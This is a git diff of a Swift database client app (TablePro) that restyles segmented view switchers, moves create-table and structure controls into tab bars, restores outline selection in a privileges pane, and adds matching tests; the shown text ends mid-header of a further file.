a/apple/TablePro/Views/Results/BinaryValueViewerView.swift b/apple/TablePro/Views/Results/BinaryValueViewerView.swift index 90c7343a20..43d6f59ed2 100644 --- a/apple/TablePro/Views/Results/BinaryValueViewerView.swift +++ b/apple/TablePro/Views/Results/BinaryValueViewerView.swift @@ -57,9 +57,10 @@ internal struct BinaryValueViewerView: View { Text(String(localized: "Text")).tag(BinaryValueViewMode.text) Text(String(localized: "Hex")).tag(BinaryValueViewMode.hex) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() + .accessibilityIdentifier("binary-viewer-mode-picker") } else { Text(format.displayName) .font(.headline) diff --git a/apple/TablePro/Views/Results/CellImageViewer.swift b/apple/TablePro/Views/Results/CellImageViewer.swift index 9e3212b212..a6e5fc24f0 100644 --- a/apple/TablePro/Views/Results/CellImageViewer.swift +++ b/apple/TablePro/Views/Results/CellImageViewer.swift @@ -61,9 +61,10 @@ internal struct CellImageViewer: View { Text(String(localized: "Image")).tag(CellImageViewMode.image) Text(sourceKind.label).tag(CellImageViewMode.source) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() + .accessibilityIdentifier("image-viewer-mode-picker") Spacer() diff --git a/apple/TablePro/Views/Results/JSONViewerView.swift b/apple/TablePro/Views/Results/JSONViewerView.swift index e127cdb2d4..ea6bdf22c8 100644 --- a/apple/TablePro/Views/Results/JSONViewerView.swift +++ b/apple/TablePro/Views/Results/JSONViewerView.swift @@ -122,9 +122,10 @@ internal struct JSONViewerView: View { Text("Text").tag(JSONViewMode.text) Text("Tree").tag(JSONViewMode.tree) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() + .accessibilityIdentifier("json-viewer-mode-picker") Spacer() if let onPopOut { Button { onPopOut(displayText) } label: { diff --git a/apple/TablePro/Views/Results/PhpViewerView.swift b/apple/TablePro/Views/Results/PhpViewerView.swift index 937774f15d..df7030b9fb 100644 --- a/apple/TablePro/Views/Results/PhpViewerView.swift +++ b/apple/TablePro/Views/Results/PhpViewerView.swift @@ -75,9 +75,10 @@ internal struct PhpViewerView: View { Text(String(localized: "Tree")).tag(PhpViewMode.tree) Text(String(localized: "Raw")).tag(PhpViewMode.raw) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() + .accessibilityIdentifier("php-viewer-mode-picker") Spacer() if let onPopOut { Button { onPopOut(rawValue) } label: { diff --git a/apple/TablePro/Views/Results/ResultStatusBar.swift b/apple/TablePro/Views/Results/ResultStatusBar.swift index 35605095ad..07980fcdec 100644 --- a/apple/TablePro/Views/Results/ResultStatusBar.swift +++ b/apple/TablePro/Views/Results/ResultStatusBar.swift @@ -146,7 +146,7 @@ struct ResultStatusBar: View { if presentation.modeSwitcherIsSegmented { picker - .pickerStyle(.segmented) + .viewSwitcherStyle() .fixedSize() } else { picker diff --git a/apple/TablePro/Views/Results/ResultsJsonView.swift b/apple/TablePro/Views/Results/ResultsJsonView.swift index 0c6b96b9d6..ef6606d4a9 100644 --- a/apple/TablePro/Views/Results/ResultsJsonView.swift +++ b/apple/TablePro/Views/Results/ResultsJsonView.swift @@ -123,9 +123,10 @@ internal struct ResultsJsonView: View { Text("Text").tag(JSONViewMode.text) Text("Tree").tag(JSONViewMode.tree) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() + .accessibilityIdentifier("results-json-mode-picker") Spacer() diff --git a/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift b/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift index c59b5b409c..ec283a95de 100644 --- a/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift +++ b/apple/TablePro/Views/RowInspector/FieldEditors/GeometryFieldView.swift @@ -83,9 +83,8 @@ internal struct GeometryFieldView: View { Text(String(localized: "Text")).tag(Mode.text) Text(String(localized: "Map")).tag(Mode.map) } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() - .controlSize(.small) .fixedSize() .accessibilityIdentifier("inspector-geometry-mode") diff --git a/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift b/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift index 0f544c4ba3..9fe7349c6e 100644 --- a/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift +++ b/apple/TablePro/Views/RowInspector/TrailingPaneHeaderView.swift @@ -146,10 +146,9 @@ private struct TrailingPaneSurfacePicker: View { .tag(segment) } } - .pickerStyle(.segmented) + .viewSwitcherStyle() .labelsHidden() .fixedSize() - .controlSize(.small) .accessibilityIdentifier("trailing-pane-surface") } diff --git a/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift b/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift index 7d2a4fe3b5..5a42170410 100644 --- a/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift +++ b/apple/TablePro/Views/Sidebar/SidebarScopeControl.swift @@ -20,6 +20,12 @@ import AppKit /// The words fit in every language the app ships. Measured at the sidebar's 280pt minimum, which /// leaves the row 260pt inside its insets, the widest is Turkish at 238pt, English needs 158pt and /// Simplified Chinese 100pt. +/// +/// On macOS 27 it takes the tabs role AppKit gives "tab-based navigation and content selection", +/// at small size. Measured there, a regular control in a sidebar draws a glass capsule whatever +/// its style or role; small with the tabs role draws a flat track with a neutral raised thumb. +/// Small without the role would fill the thumb with the accent color, which marks a value choice, +/// so earlier releases keep the regular control. @MainActor internal final class SidebarScopeControl: NSSegmentedControl { internal static let tabs: [SidebarTab] = [.tables, .favorites] @@ -30,6 +36,12 @@ internal final class SidebarScopeControl: NSSegmentedControl { trackingMode = .selectOne segmentDistribution = .fillEqually controlSize = .regular + #if SDK_MACOS_27 + if #available(macOS 27.0, *) { + role = .tabs + controlSize = .small + } + #endif for (index, tab) in Self.tabs.enumerated() { setLabel(Self.title(for: tab), forSegment: index) } diff --git a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift b/apple/TablePro/Views/Structure/CreateTableFormEditor.swift index 604d8d0f48..0c44badea8 100644 --- a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift +++ b/apple/TablePro/Views/Structure/CreateTableFormEditor.swift @@ -32,6 +32,33 @@ internal struct CreateTableFormEditor: View { let issues = form.issues(tableName: draft.tableName) let messages = [form.submissionError?.message].compactMap { $0 } + issues.map(\.qualifiedMessage) VStack(spacing: 0) { + PaneTabBar( + title: String(localized: "View"), + selection: $pane, + identifier: "create-table-form-tabs" + ) { + ForEach(CreateTableFormPane.allCases, id: \.self) { tab in + Text(tab.displayName).tag(tab) + } + } + + Divider() + + Group { + switch pane { + case .form: + CreateTableFormView(draft: draft) + case .preview: + CreateTableFormPreview( + preview: form.preview(tableName: draft.tableName, generate: generateStatements), + databaseType: databaseType + ) + } + } + .frame(maxWidth: .infinity, maxHeight: .infinity) + + Divider() + HStack(spacing: 8) { if let first = messages.first { Label(first, systemImage: "exclamationmark.triangle.fill") @@ -45,17 +72,6 @@ internal struct CreateTableFormEditor: View { Spacer(minLength: 12) - Picker(String(localized: "View"), selection: $pane) { - ForEach(CreateTableFormPane.allCases, id: \.self) { pane in - Text(pane.displayName).tag(pane) - } - } - .pickerStyle(.segmented) - .labelsHidden() - .fixedSize() - - Spacer(minLength: 12) - Button( isCreating ? String(localized: "Creating…") : String(localized: "Create Table"), action: onCreate @@ -66,19 +82,8 @@ internal struct CreateTableFormEditor: View { .keyboardShortcut(.return, modifiers: .command) .accessibilityIdentifier("create-table-commit") } - .padding() - - Divider() - - switch pane { - case .form: - CreateTableFormView(draft: draft) - case .preview: - CreateTableFormPreview( - preview: form.preview(tableName: draft.tableName, generate: generateStatements), - databaseType: databaseType - ) - } + .padding(.horizontal) + .padding(.vertical, 8) } } } diff --git a/apple/TablePro/Views/Structure/CreateTableView.swift b/apple/TablePro/Views/Structure/CreateTableView.swift index 24f6604657..5c890d61a1 100644 --- a/apple/TablePro/Views/Structure/CreateTableView.swift +++ b/apple/TablePro/Views/Structure/CreateTableView.swift @@ -113,9 +113,12 @@ struct CreateTableView: View { onCreate: { createTable() } ) } else if draft.hasResolvedForm { - toolbar + tabBar Divider() tabContent + .frame(maxWidth: .infinity, maxHeight: .infinity) + Divider() + commitBar } else { Color.clear } @@ -207,7 +210,7 @@ struct CreateTableView: View { return support.commentableTypes.contains(.table) } - // MARK: - Toolbar + // MARK: - Tabs private var availableTabs: [CreateTableTab] { var tabs = CreateTableTab.allCases @@ -217,44 +220,39 @@ struct CreateTableView: View { return tabs } - private var isGridTab: Bool { - selectedTab != .sqlPreview + private var tabBar: some View { + PaneTabBar( + title: String(localized: "Structure"), + selection: $selectedTab.committingEdit(of: gridModel), + identifier: "create-table-tabs" + ) { + ForEach(availableTabs, id: \.self) { tab in + Text(tab.displayName).tag(tab) + } + } } - private var toolbar: some View { - let issues = draft.composed?.issues ?? draft.plan(for: connection.type).issues + // One grid serves the three grid tabs: the adapter repoints it as the selection moves. + @ViewBuilder + private var tabContent: some View { + switch selectedTab { + case .columns, .indexes, .foreignKeys: + structureGridPane + case .sqlPreview: + sqlPreviewView + } + } - return HStack(spacing: 8) { - Button(action: { gridAdapter.addRow() }) { - Image(systemName: "plus") - .frame(width: 24, height: 24) - } - .help(String(localized: "Add Row")) - .accessibilityLabel(String(localized: "Add Row")) - .disabled(!isGridTab) + // MARK: - Commit Bar - Button(action: { gridAdapter.deleteRows(gridModel.selectedRowIDs) }) { - Image(systemName: "minus") - .frame(width: 24, height: 24) - } - .help(String(localized: "Delete Selected")) - .accessibilityLabel(String(localized: "Delete Selected")) - .disabled(!isGridTab || gridModel.selection.isEmpty) + private var commitBar: some View { + let issues = draft.composed?.issues ?? draft.plan(for: connection.type).issues + return HStack(spacing: 8) { issueMessage(issues) Spacer(minLength: 12) - Picker(String(localized: "Structure"), selection: $selectedTab) { - ForEach(availableTabs, id: \.self) { tab in - Text(tab.displayName).tag(tab) - } - } - .pickerStyle(.segmented) - .labelsHidden() - - Spacer(minLength: 12) - Button(isCreating ? String(localized: "Creating…") : String(localized: "Create Table")) { createTable() } @@ -264,7 +262,8 @@ struct CreateTableView: View { .keyboardShortcut(.return, modifiers: .command) .accessibilityIdentifier("create-table-commit") } - .padding() + .padding(.horizontal) + .padding(.vertical, 8) } @ViewBuilder @@ -284,18 +283,6 @@ struct CreateTableView: View { issue.tab == structureTab ? issue.message : issue.qualifiedMessage } - // MARK: - Tab Content - - @ViewBuilder - private var tabContent: some View { - switch selectedTab { - case .columns, .indexes, .foreignKeys: - structureGrid - case .sqlPreview: - sqlPreviewView - } - } - // MARK: - Structure Grid private var structureTab: StructureTab { @@ -307,8 +294,45 @@ struct CreateTableView: View { } } - private var structureGrid: some View { - DataGridView(model: gridModel) + private var structureGridPane: some View { + VStack(spacing: 0) { + DataGridView(model: gridModel) + Divider() + rowButtons(identifier: rowButtonsIdentifier) + } + } + + private var rowButtonsIdentifier: String { + switch selectedTab { + case .columns, .sqlPreview: return "create-table-columns" + case .indexes: return "create-table-indexes" + case .foreignKeys: return "create-table-foreign-keys" + } + } + + // Add and Delete act on the shown tab's rows, since the adapter follows the selected tab. + private func rowButtons(identifier: String) -> some View { + HStack(spacing: 8) { + Button(action: { gridAdapter.addRow() }) { + Image(systemName: "plus") + .frame(width: 24, height: 24) + } + .help(String(localized: "Add Row")) + .accessibilityLabel(String(localized: "Add Row")) + .accessibilityIdentifier("\(identifier)-add") + + Button(action: { gridAdapter.deleteRows(gridModel.selectedRowIDs) }) { + Image(systemName: "minus") + .frame(width: 24, height: 24) + } + .help(String(localized: "Delete Selected")) + .accessibilityLabel(String(localized: "Delete Selected")) + .disabled(gridModel.selection.isEmpty) + .accessibilityIdentifier("\(identifier)-remove") + + Spacer() + } + .padding(8) } // MARK: - SQL Preview diff --git a/apple/TablePro/Views/Structure/TableStructureView.swift b/apple/TablePro/Views/Structure/TableStructureView.swift index c7f4083ba7..30afcfce05 100644 --- a/apple/TablePro/Views/Structure/TableStructureView.swift +++ b/apple/TablePro/Views/Structure/TableStructureView.swift @@ -148,7 +148,7 @@ struct TableStructureView: View { var body: some View { VStack(spacing: 0) { tableCommentBar - toolbar + tabBar Divider() contentArea .frame(maxWidth: .infinity, maxHeight: .infinity) @@ -224,29 +224,23 @@ struct TableStructureView: View { } } - // MARK: - Toolbar + // MARK: - Tabs private var availableTabs: [StructureTab] { session.availableTabs } - private var toolbar: some View { - HStack { - Spacer() - - Picker("Structure", selection: $session.selectedTab) { - ForEach(availableTabs, id: \.self) { tab in - Text(tabLabel(for: tab)).tag(tab) - } + private var tabBar: some View { + PaneTabBar( + title: String(localized: "Structure"), + selection: $session.selectedTab.committingEdit(of: session.gridModel), + identifier: "structure-tab-picker" + ) { + ForEach(availableTabs, id: \.self) { tab in + Text(tabLabel(for: tab)).tag(tab) } - .pickerStyle(.segmented) - .labelsHidden() - .monospacedDigit() - .accessibilityIdentifier("structure-tab-picker") - - Spacer() } - .padding() + .monospacedDigit() .overlay(alignment: .trailing) { if structureChangeManager.isHeldForSave { HStack(spacing: 6) { diff --git a/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift b/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift index 7f19473eb0..aea26eaa01 100644 --- a/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift +++ b/apple/TablePro/Views/UsersRoles/PrincipalDetailPane.swift @@ -43,8 +43,8 @@ struct PrincipalDetailPane: View { Text(segment.title).tag(segment) } } - .pickerStyle(.segmented) .labelsHidden() + .viewSwitcherStyle() .fixedSize() .accessibilityIdentifier("usersroles-detail-segment") } diff --git a/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift b/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift index b543a45e93..a26e3ef286 100644 --- a/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift +++ b/apple/TablePro/Views/UsersRoles/PrivilegeScopeOutlineCoordinator.swift @@ -21,6 +21,7 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource, var principal: PluginPrincipalRef? private var isRestoringExpansion = false + private var isRestoringSelection = false private var pendingExpansions: Set = [] private var nodeChanges: AnyCancellable? @@ -115,10 +116,16 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource, } func restoreExpansion() { - guard viewModel.privilegeTree.mode == .hierarchy else { return } + guard viewModel.privilegeTree.mode == .hierarchy else { + restoreSelection() + return + } let saved = Set(viewModel.expansionStore.load()) - guard !saved.isEmpty else { return } + guard !saved.isEmpty else { + restoreSelection() + return + } Task { @MainActor in isRestoringExpansion = true @@ -137,13 +144,29 @@ final class PrivilegeScopeOutlineCoordinator: NSObject, NSOutlineViewDataSource, } frontier = next } + restoreSelection() } } + /// The outline is rebuilt each time Privileges is shown again, while the checklist keeps acting + /// on the scopes the model holds, so the rows for those scopes are selected again. A scope inside + /// a collapsed node has no row, and the model keeps it rather than shrinking to what is visible. + func restoreSelection() { + guard let outlineView, !viewModel.selectedScopes.isEmpty else { return } + let rows = IndexSet((0..(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View { - modifier(BottomSafeAreaBar(spacing: spacing, bar: bar())) - } -} - -private struct BottomSafeAreaBar: ViewModifier { - let spacing: CGFloat? - let bar: Bar - - func body(content: Content) -> some View { - if #available(iOS 26.0, *) { - content.safeAreaBar(edge: .bottom, spacing: spacing) { bar } - } else { - content.safeAreaInset(edge: .bottom, spacing: spacing) { - bar.background(.bar) - } - } - } -} diff --git a/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift b/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift new file mode 100644 index 0000000000..4173f1a675 --- /dev/null +++ b/apple/TableProMobile/TableProMobile/Views/Components/SafeAreaBar.swift @@ -0,0 +1,27 @@ +import SwiftUI + +extension View { + func bottomSafeAreaBar(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View { + modifier(SafeAreaBar(edge: .bottom, spacing: spacing, bar: bar())) + } + + func topSafeAreaBar(spacing: CGFloat? = 0, @ViewBuilder _ bar: () -> Bar) -> some View { + modifier(SafeAreaBar(edge: .top, spacing: spacing, bar: bar())) + } +} + +private struct SafeAreaBar: ViewModifier { + let edge: VerticalEdge + let spacing: CGFloat? + let bar: Bar + + func body(content: Content) -> some View { + if #available(iOS 26.0, *) { + content.safeAreaBar(edge: edge, spacing: spacing) { bar } + } else { + content.safeAreaInset(edge: edge, spacing: spacing) { + bar.background(.bar) + } + } + } +} diff --git a/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift b/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift index 16b26b208b..68eb75f77f 100644 --- a/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift +++ b/apple/TableProMobile/TableProMobile/Views/ConnectionListView.swift @@ -677,7 +677,7 @@ struct ConnectionListView: View { .disabled(!appState.connections.contains(where: \.participatesInSync)) } } label: { - Label("More", systemImage: "ellipsis.circle") + Label("More", systemImage: ToolbarSymbols.more()) } } diff --git a/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift b/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift index 9325795562..b70ab4aa42 100644 --- a/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift +++ b/apple/TableProMobile/TableProMobile/Views/DataBrowserView.swift @@ -468,7 +468,7 @@ struct DataBrowserView: View { } } } label: { - Label("More", systemImage: "ellipsis.circle") + Label("More", systemImage: ToolbarSymbols.more()) } } if canInsertRow { @@ -500,17 +500,13 @@ struct DataBrowserView: View { .pickerStyle(.inline) } } label: { - Label("Sort", systemImage: viewModel.sortState.isSorting - ? "arrow.up.arrow.down.circle.fill" - : "arrow.up.arrow.down.circle") + Label("Sort", systemImage: ToolbarSymbols.sort(isActive: viewModel.sortState.isSorting)) } .disabled(columns.isEmpty) } ToolbarItem(placement: .topBarTrailing) { Button { showFilterSheet = true } label: { - Label("Filter", systemImage: viewModel.hasActiveFilters - ? "line.3.horizontal.decrease.circle.fill" - : "line.3.horizontal.decrease.circle") + Label("Filter", systemImage: ToolbarSymbols.filter(isActive: viewModel.hasActiveFilters)) } .badge(viewModel.activeFilterCount) } diff --git a/apple/TableProMobile/TableProMobile/Views/StructureView.swift b/apple/TableProMobile/TableProMobile/Views/StructureView.swift index 7f875e3d95..8c02b240e0 100644 --- a/apple/TableProMobile/TableProMobile/Views/StructureView.swift +++ b/apple/TableProMobile/TableProMobile/Views/StructureView.swift @@ -53,7 +53,7 @@ struct StructureView: View { } } } - .safeAreaInset(edge: .top) { + .topSafeAreaBar(spacing: nil) { Picker("Section", selection: $selectedTab) { ForEach(Tab.allCases, id: \.self) { tab in Text(tab.displayName).tag(tab) @@ -62,7 +62,6 @@ struct StructureView: View { .pickerStyle(.segmented) .padding(.horizontal) .padding(.vertical, 8) - .background(.bar) } .navigationTitle(table.name) .navigationBarTitleDisplayMode(.inline) diff --git a/apple/TableProMobile/project.yml b/apple/TableProMobile/project.yml index 9558606aa5..6db30666db 100644 --- a/apple/TableProMobile/project.yml +++ b/apple/TableProMobile/project.yml @@ -67,6 +67,8 @@ targets: # through a socket. - ../Plugins/MySQLDriverPlugin/MySQLLocalSocket.swift - ../Plugins/Shared/PluginQueryTimeout.swift + # The toolbar glyph rule both apps follow on and before the 26 releases. + - ../TablePro/Core/Services/Infrastructure/Toolbar/ToolbarSymbols.swift # The ClickHouse plugin driver runs whole behind PluginBackedDriver, so every file of the plugin is compiled in. - path: ../Plugins/ClickHouseDriverPlugin excludes: diff --git a/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift b/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift new file mode 100644 index 0000000000..b178ae1dd5 --- /dev/null +++ b/apple/TableProTests/Core/DataGrid/BindingCommittingGridEditTests.swift @@ -0,0 +1,46 @@ +// +// BindingCommittingGridEditTests.swift +// TableProTests +// + +import SwiftUI +@testable import TablePro +import Testing + +@MainActor +struct BindingCommittingGridEditTests { + @MainActor + private final class Selection { + var tab = "columns" + } + + @Test("A tab change commits the open edit while the pane being left is still selected") + func commitsBeforePublishing() { + let model = DataGridModel(configuration: DataGridConfiguration()) + let grid = DataTabGridMountStub() + grid.isEditing = true + model.attach(grid) + let selection = Selection() + var tabAtCommit: String? + grid.onCommit = { tabAtCommit = selection.tab } + let binding = Binding(get: { selection.tab }, set: { selection.tab = $0 }).committingEdit(of: model) + + binding.wrappedValue = "indexes" + + #expect(tabAtCommit == "columns") + #expect(selection.tab == "indexes") + #expect(grid.commitCount == 1) + #expect(!grid.isEditing) + } + + @Test("With no grid mounted the tab still changes") + func changesWithoutAGrid() { + let model = DataGridModel(configuration: DataGridConfiguration()) + let selection = Selection() + let binding = Binding(get: { selection.tab }, set: { selection.tab = $0 }).committingEdit(of: model) + + binding.wrappedValue = "indexes" + + #expect(selection.tab == "indexes") + } +} diff --git a/apple/TableProTests/Core/Menu/ChromeSnapshot.json b/apple/TableProTests/Core/Menu/ChromeSnapshot.json index 9d709aff7a..538e3869b2 100644 --- a/apple/TableProTests/Core/Menu/ChromeSnapshot.json +++ b/apple/TableProTests/Core/Menu/ChromeSnapshot.json @@ -323,9 +323,9 @@ "com.TablePro.toolbar.database", "NSToolbarFlexibleSpaceItem", "com.TablePro.toolbar.refresh", - "com.TablePro.toolbar.saveChanges", "com.TablePro.toolbar.actions", "com.TablePro.toolbar.safeMode", + "com.TablePro.toolbar.saveChanges", "NSToolbarInspectorTrackingSeparatorItemIdentifier", "NSToolbarFlexibleSpaceItem", "NSToolbarToggleInspectorItem" @@ -338,9 +338,9 @@ "com.TablePro.toolbar.database", "NSToolbarFlexibleSpaceItem", "com.TablePro.toolbar.refresh", - "com.TablePro.toolbar.saveChanges", "com.TablePro.toolbar.actions", "com.TablePro.toolbar.safeMode", + "com.TablePro.toolbar.saveChanges", "NSToolbarInspectorTrackingSeparatorItemIdentifier", "NSToolbarFlexibleSpaceItem", "NSToolbarToggleInspectorItem", diff --git a/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift b/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift index 2083d57877..7308ac5d35 100644 --- a/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift +++ b/apple/TableProTests/Core/Services/Infrastructure/ToolbarSymbolsTests.swift @@ -14,6 +14,7 @@ struct ToolbarSymbolsTests { func containedItemsDropTheCircle() { #expect(ToolbarSymbols.more(itemsHaveContainer: true) == "ellipsis") #expect(ToolbarSymbols.filter(isActive: false, itemsHaveContainer: true) == "line.3.horizontal.decrease") + #expect(ToolbarSymbols.sort(isActive: false, itemsHaveContainer: true) == "arrow.up.arrow.down") #expect(ToolbarSymbols.disconnect(itemsHaveContainer: true) == "xmark") } @@ -23,16 +24,21 @@ struct ToolbarSymbolsTests { #expect( ToolbarSymbols.filter(isActive: false, itemsHaveContainer: false) == "line.3.horizontal.decrease.circle" ) + #expect(ToolbarSymbols.sort(isActive: false, itemsHaveContainer: false) == "arrow.up.arrow.down.circle") #expect(ToolbarSymbols.disconnect(itemsHaveContainer: false) == "xmark.circle") } /// There is no filled form of the bare glyph, so the disc is the only way to say a filter is on. - @Test("An active filter is the filled disc on both", arguments: [true, false]) + @Test("An active filter or sort is the filled disc on both", arguments: [true, false]) func activeFilterIsFilled(itemsHaveContainer: Bool) { #expect( ToolbarSymbols.filter(isActive: true, itemsHaveContainer: itemsHaveContainer) == "line.3.horizontal.decrease.circle.fill" ) + #expect( + ToolbarSymbols.sort(isActive: true, itemsHaveContainer: itemsHaveContainer) + == "arrow.up.arrow.down.circle.fill" + ) } @Test("Only a More control without a container draws the menu indicator") @@ -56,10 +62,11 @@ struct ToolbarSymbolsTests { names.insert(ToolbarSymbols.disconnect(itemsHaveContainer: itemsHaveContainer)) for isActive in [true, false] { names.insert(ToolbarSymbols.filter(isActive: isActive, itemsHaveContainer: itemsHaveContainer)) + names.insert(ToolbarSymbols.sort(isActive: isActive, itemsHaveContainer: itemsHaveContainer)) } } - #expect(names.count == 8) + #expect(names.count == 11) for name in names { #expect( NSImage(systemSymbolName: name, accessibilityDescription: nil) != nil, diff --git a/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift b/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift new file mode 100644 index 0000000000..ea7582c5b3 --- /dev/null +++ b/apple/TableProTests/Views/Components/ViewSwitcherStyleTests.swift @@ -0,0 +1,76 @@ +import AppKit +import SwiftUI +import Testing + +@testable import TablePro + +@MainActor +struct ViewSwitcherStyleTests { + private enum Mode: Hashable { + case first + case second + } + + private struct Switcher: View { + @State private var mode = Mode.first + + var body: some View { + Picker(selection: $mode) { + Text(verbatim: "First").tag(Mode.first) + Text(verbatim: "Second").tag(Mode.second) + } label: { + Text(verbatim: "Mode") + } + .labelsHidden() + .fixedSize() + .viewSwitcherStyle() + } + } + + @Test("A view switcher is small, with the tabs role on macOS 27") + func smallWithTabsRoleOnMacOS27() throws { + let (host, control) = try hostedControl() + #expect(control.controlSize == .small) + #if SDK_MACOS_27 + if #available(macOS 27.0, *) { + #expect(control.role == .tabs) + } + #endif + withExtendedLifetime(host) {} + } + + /// Measured on macOS 27, the tabs role turns the radio group into a tab group, but each segment + /// is still a radio button named by its label, which is what a UI test clicks. + @Test("Each segment stays a radio button named by its label") + func segmentsStayNamedRadioButtons() throws { + let (host, control) = try hostedControl() + var labels: [String] = [] + func collect(_ element: Any, depth: Int) { + guard depth < 4, let object = element as? NSObject else { return } + if (object.value(forKey: "accessibilityRole") as? String) == NSAccessibility.Role.radioButton.rawValue, + let label = object.value(forKey: "accessibilityLabel") as? String { + labels.append(label) + } + for child in (object.value(forKey: "accessibilityChildren") as? [Any]) ?? [] { + collect(child, depth: depth + 1) + } + } + collect(control, depth: 0) + + #expect(labels == ["First", "Second"]) + withExtendedLifetime(host) {} + } + + private func hostedControl() throws -> (NSHostingView, NSSegmentedControl) { + let host = NSHostingView(rootView: Switcher()) + host.frame = NSRect(x: 0, y: 0, width: 300, height: 40) + host.layoutSubtreeIfNeeded() + let control = try #require(segmentedControls(in: host).first) + return (host, control) + } + + private func segmentedControls(in view: NSView) -> [NSSegmentedControl] { + let own = (view as? NSSegmentedControl).map { [$0] } ?? [] + return own + view.subviews.flatMap { segmentedControls(in: $0) } + } +} diff --git a/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift b/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift index c94c8f52b0..0eee73249a 100644 --- a/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift +++ b/apple/TableProTests/Views/Sidebar/SidebarScopeControlTests.swift @@ -22,6 +22,19 @@ struct SidebarScopeControlTests { #expect(control.label(forSegment: 1) == String(localized: "Favorites")) } + @Test("macOS 27 draws it as small tabs, earlier releases as a regular control") + func tabsRoleOnMacOS27() { + let control = SidebarScopeControl() + #if SDK_MACOS_27 + if #available(macOS 27.0, *) { + #expect(control.role == .tabs) + #expect(control.controlSize == .small) + return + } + #endif + #expect(control.controlSize == .regular) + } + /// The toolbar version was measured announcing its SF Symbol names, "List" and "favorite". A /// worded segment publishes its own label, measured on macOS 27 as a radio group of two radio /// buttons under the control. diff --git a/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift b/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift new file mode 100644 index 0000000000..66fa8c7ad0 --- /dev/null +++ b/apple/TableProTests/Views/UsersRoles/PrivilegeScopeOutlineSelectionTests.swift @@ -0,0 +1,54 @@ +import AppKit +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct PrivilegeScopeOutlineSelectionTests { + // Never ordered front and never closed: `close()` on a test window over-releases it. + private func mount(selecting scopes: Set) throws -> (PrivilegeScopeOutline, PrivilegeScopeOutlineCoordinator) { + let viewModel = UsersRolesViewModel(connectionId: UUID(), databaseType: .postgresql) + viewModel.privilegeTree.showGrantedOnly(scopes: [.database("app"), .database("web")]) + viewModel.selectedScopes = scopes + let coordinator = PrivilegeScopeOutlineCoordinator(viewModel: viewModel) + let scrollView = PrivilegeScopeOutlineView.makeScrollView(coordinator: coordinator) + scrollView.frame = NSRect(x: 0, y: 0, width: 320, height: 160) + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 320, height: 160), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + window.contentView = scrollView + let outline = try #require(scrollView.documentView as? PrivilegeScopeOutline) + outline.reloadData() + return (outline, coordinator) + } + + private func row(of scope: PluginPrivilegeScope, in outline: NSOutlineView) -> Int? { + (0 ..< outline.numberOfRows).first { (outline.item(atRow: $0) as? PrivilegeNode)?.scope == scope } + } + + @Test("A rebuilt outline selects the rows of the scopes the checklist still edits") + func rebuiltOutlineSelectsTheModelScopes() throws { + let (outline, coordinator) = try mount(selecting: [.database("web")]) + #expect(outline.selectedRowIndexes.isEmpty) + + coordinator.restoreExpansion() + + let web = try #require(row(of: .database("web"), in: outline)) + #expect(outline.selectedRowIndexes == IndexSet(integer: web)) + #expect(coordinator.viewModel.selectedScopes == [.database("web")]) + } + + @Test("A selected scope with no row stays selected in the model") + func scopeWithoutARowIsKept() throws { + let (outline, coordinator) = try mount(selecting: [.database("web"), .database("archive")]) + + coordinator.restoreExpansion() + + #expect(outline.selectedRowIndexes.count == 1) + #expect(coordinator.viewModel.selectedScopes == [.database("web"), .database("archive")]) + } +} diff --git a/apple/TableProUITests/DataFileWindowUITests.swift 